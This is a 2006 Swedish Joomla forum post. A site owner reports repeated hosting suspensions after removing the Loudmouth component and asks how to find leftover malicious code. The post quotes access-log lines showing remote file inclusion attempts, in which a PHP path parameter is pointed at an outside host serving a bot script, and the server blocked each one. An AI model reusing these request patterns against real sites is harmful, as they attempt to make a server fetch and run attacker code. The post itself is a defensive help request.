Fult script via Loudmouth, hur få bort det ?

Diskutera frågor rörande installation, backup och säkerhet avseende Joomla! 1.0.

Moderators: Zello, chrille

Forum rules
Forumregler
Locked
User avatar
icebear
Joomla! Guru
Joomla! Guru
Posts: 662
Joined: Wed Oct 26, 2005 9:14 pm
Location: Sweden

Fult script via Loudmouth, hur få bort det ?

Post by icebear » Tue Nov 14, 2006 3:28 pm

Hade tidigare Loudmouth Forum installerat, men bytte ut det för att det krånglade.
Därefter har mitt webhotell stäng ned sajten vid flera tillfällen pga att som de skriver:
Loudmouth genererar för hög trafik ....
Jag har kollat igenom alla filer på sajten efter referenser till Loumouth, men inget hittas.
Inte heller i databasen finns något kvar.

Men kollar jag loggen så ser det bla ut så här:
"GET /components/com_loudmounth/includes/abbc/abbc.class.php?mosConfig_absolute_path=http://caracoles.estoyenred.es/.bot/list.txt? HTTP/1.1" 403 41 "-" "libwww-perl/5.805"

"GET /component/option,com_loudmouth/Itemid,52/task,forum/id,27/components/com_loudmounth/includes/abbc/abbc.class.php?mosConfig_absolute_path=http://caracoles.estoyenred.es/.bot/list.txt? HTTP/1.1" 403 41 "-" "libwww-perl/5.805"

Hittar inget med abbc i någon fil eller i databasen heller.

Det ser ut som någon varit inne och hackad när jag hade loudmouth installerat, för följer man länken som absoute path hänvisar till så kommer man till sidor med en massa fula script, mitt antivirusprogram skrek direkt om Trojaner mm.

Frågan är , hur hittar jag vart skräpet ligger i mina filer  (eller i datbasen) ??

Locked

Return to “Installation, backup och säkerhet”